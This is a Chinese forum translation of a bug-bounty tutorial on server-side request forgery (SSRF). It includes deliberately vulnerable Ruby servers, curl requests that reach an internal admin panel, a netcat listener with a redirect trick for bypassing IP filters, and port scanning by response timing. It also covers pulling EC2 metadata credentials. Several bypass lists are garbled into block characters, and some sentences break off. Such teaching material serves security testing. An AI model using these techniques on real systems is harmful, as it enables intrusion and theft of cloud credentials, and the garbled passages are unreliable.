【译】如何伪造服务端请求-SSRF

□ / 2017-06-20 03:15:08 / 浏览数 3472 安全技术 技术讨论 顶(0) 踩(0)

SSRF是服务端请求伪造的缩写，这类漏洞讲述的是黑客控制服务器发送请求的行为。这篇文章将着重于漏洞影响、如何测试漏洞，潜在的风险点，突破限制和警告。

在深入ssrf漏洞影响前，花些时间了解下漏洞本身。漏洞出现于应用对外请求资源。举个例子，当你推特转发这篇文章时，推特上顶部就会出现这篇推文。页面的请求将返回

这篇文章将解释什么场景下的对外请求才算安全问题以及如何利用漏洞。

安装

一台服务器向另外一个服务器发起请求可能是一个伪造的请求。通过安装在本地的应用尝试SSRF是理解这篇文章最有效的方法。为了达到本篇文章目的，假设我们将下列ru

```
    require 'sinatra'
require 'open-uri'
get '/' do
format 'RESPONSE: %s', open(params[:url]).read
end
```

为了本地运行这些代码，将其保存为server.rb文件，执行gem install sinatra，接着执行ruby server.rb(我使用的是ruby 2.3.3p222版本)。现在你可以尝试访问http://localhost:4567。在环回地址以外的地址运行该代码会引起代码执行漏洞，所以不要这么做。

web服务器收到http://localhost:4568/?url=https://google.com 请求时，_open()_函数会请求_https://google.com_并将响应内容返回给客户端。

```
    hack-box-01 $ curl http://localhost:4567/\?
url\=https://google.com

RESPONSE: <!doctype html><html itemscope=""
itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including
webpages, images, videos and more. Google has many special
features to help you find exactly what you're looking
for." name="description"><meta content="noodp"
name="robots"><meta content="text/html; charset=UTF-8"
http-equiv="Content-Type"><meta
content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>
```

在互联网上通过url访问网站并不让人兴奋，这本身并不会有问题。既然是位于互联网上，所有人都可以访问它。现在来考虑下局域网情况，大量网络隐藏在路由器和防火墙

为了清楚的了解影响，假设正在运行ruby代码的服务器IP是10.0.0.3，和它处于同一网络的另外一台服务器admin-panel的IP是10.0.0.2。admin-panel服务器在80端口开放

我们知道web服务器10.0.0.3能够处理我们发送给它的请求。admin-panel服务器在4567端口上提供HTTP接口。现在来看看通过web服务器向admin-panel服务器发起请求

```
     hack-box-01 $ curl http://web-server.com:4567/\?url\=http://10.0.0.2/

RESPONSE: <html><head><title>Internal admin panel</title></head>...</html>
```

因为web服务器能够访问admin-panel(10.0.0.2)，所以web服务器会发送http请求给admin-panel，admin-panel将响应通过web服务器返回至外网。理所当然你可以把w

测试

既然你对SSRF有了基本的了解，接下来介绍如何测试。在我的SSRF漏洞经验里，自己拥有一台可控服务器是非常有益的。我倾向用DigitalOcean盒子提供的服务器去调适发

接着通过ping你控制的服务器来调试_http://web-server.com:4567_上的SSRF。在那之前，使用netcat监听流量：

```
    hack-box-1 $ nc -l -n -vv -p 8080 -k

Listening on [0.0.0.0] (family 0, port 8080)
```

所有去往8080端口的流量将一览无遗。为了更好的讲述例子，假设hack-box-1的公网地址是1.2.3.4。现在使用去往web-server.com的请求ping我们的服务器：

```
  hack-box-01 $ curl http://web-server.com:4567/\?url\=http://1.2.3.4:8080/
```

当你执行了上面的命令，netcat监听里能够看到如下http请求：

```
    hack-box-1 $ nc -l -n -vv -p 8080 -k
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [masked] port 8080 [tcp/*] accepted (family 2, sport 45982)
```

```
GET / HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Host: 1.2.3.4:8080
```

从上面可以看出，传给url参数的值作为了http请求的目的地址。过去几年里我见过的HTTP库都会遵从HTTP响应中的location跳转规律。如果你的服务器（例子中跑了netca

```
HTTP/1.1 302 Found
Location: http://10.0.0.2/
Content-Length: 0
```

这一点非常重要。公司实现风险控制的措施之一就是限制服务器对内服务或端口的链接。然而，这条限制并不应用于http重定向。假设我们的服务器是这样实现的：

```
    require 'sinatra'
require 'open-uri'

get '/' do
url = URI.parse params[:url]

halt 403 if url.host =~ /\A10\.0\.0\.\d+\z/

format 'RESPONSE: %s', open(params[:url]).read
end
```

在发送请求前代码会对url进行解析。如果传入url的值匹配了10.0.0.*，服务器将返回403禁止响应。下面是一些绕过办法：

```
- ■■■■■■IP■■_http://167772162_■■_http://10.0.0.2_
- ■■■■10.0.0.2■A■■■■■■■■
- ■■■■■■■■■■■
```

使用重定向访问http://10.0.0.2，你的第一个请求将发往到你所控制的服务器。从服务器上，你被重定向至http://10.0.0.2。这个方式将绕过代码层面的风险管控防护，因为

```
    require 'sinatra'
require 'open-uri'

get '/' do
url = URI.parse params[:url]

halt 403 unless url.host == 'web-server.com'

format 'RESPONSE: %s', open(params[:url]).read
end
```

以下五个功能点不分排名先后比较容易出现SSRF漏洞：

```
1. web■■■■■■■■■■■■■■http■■■■■■■■■■web■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■http■■■
2. PDF■■■■■■■■■■■■■■■`<iframe>,<img>,<base>`■■`<script>`■■■■CSS■`url()`■■■
3. ■■■■■■■■■■■■■■■■■■■■■■■XML■■■■■■■■PDF■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
4. ■■■■: ■■Mark Litchfield■■■■■■■■■■■■■■■■■■■[■■■■][3]
5. ■■■■■■■■■■■■■■■■■■■url■■■■■■■■■■■url■■■■[■■■■][4]
```

影响

因为web服务器能够访问admin-panel，且处于同一个网络，也不存在防火墙规则限制。攻击者便能收集更多的网络信息和访问服务器和服务。这就是一个常规性的SSRF漏
SSRF了。下面是示例：

```
    require 'sinatra'
require 'open-uri'

get '/' do
open params[:url]

'done'
end
```

这段代码与文中的第一个代码示例的不同之处在于服务器对传给url的任意值处理方式，服务器总是将url值作为新请求的目的地址并只返回字符串done给攻击者。如果遇到这

暴露内网/防火墙后的系统

SSRF漏洞的诠释就是发现了公网无法访问的系统。无论什么时候你想这么做，牢记程序策略，不要越界。如果你想找到内网服务，下面是一份IPv4的私网地址，能够为你提

```
- 10.0.0.0/8
- 127.0.0.1/32
- 172.16.0.0/12
- 192.168.0.0/16
```

技巧：尝试寻找不同响应的时间差，这样才有可能发现网络是否在内部路由。无路由的网络流量通常会被路由器立即丢弃（可以通过响应时间上一点点的增加来观察）。内部

服务探测和端口扫描

某些时候SSRF漏洞可以用作局域网内的端口扫描。这有助于理清内网的基础设施轮廓和并为下一步其他漏洞的利用做铺垫。上述这种情况通常是最简单的blind SSRF了。如果之前的脚本无法建立连接或收不到服务器响应，异常将被抛出。利用这个特征可以识别端口是否开放（连接建立）或关闭（连接失败或超时）。

<table> URL参数 状态码 RTT 结论 http://127.0.0.1:22   200 10ms 端口开放 http://127.0.0.1:22   500 10ms 端口关闭 http://10.0.0.1/   500 30010ms 防火墙或流量不可达 http://10.0.0.1:8080/ 500 10ms 端口关闭流量可达 </table>

对于开放和关闭的端口，每个SSRF响应都不同。试着以不同的响应为基础建立一个开放、闭合端口和标志符之间的映射。上面的表格就是一个例子。

提取EC2配置文件

这是我最喜欢的技巧之一。越来越多的公司将部分基础设施放到亚马逊的EC2服务器上。亚马逊公开内部服务，每台EC实例都能查询主机元数据。这是AWS文档。如果你在 token等等。你也可以下载_ http://169.254.169.254/latest/user-data_和解压数据。

核心

正如你所猜想的那样，不是所有SSRF漏洞都是用HTTP协议。有些时候，可以通过重定向指向一个不同的协议或者交换机协议。在Redis队列推送异步作业的场景下，如果能

在此期间，关键点总是来自于发现了的内部服务，这将扩大漏洞的影响范围。比如当你发现了未授权的admin面板。如果程序允许，想想你将如何使用内部服务将多个漏洞结

愉快的黑客吧！

Jobert

此外-本文描述的许多技术都可以使用我的github上的仓库进行调试。去看看吧；欢迎公关。

[原文在这][1]

[1]: https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF "How To: Server-Side Request Forgery (SSRF)"

上一篇：使用apache mod_rewr... 下一篇：【学习笔记】通过样本分析之一CVE...

1. 3 条回复


hades 2017-06-20 08:21:31

然后了？？？

0 回复Ta


 2017-06-20 12:12:41

然后

0 回复Ta


 2017-06-21 15:03:10

Pivot是一个专业术语，英文wiki在这#Pivoting)。文章中应理解成跳板机。

0 回复Ta

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板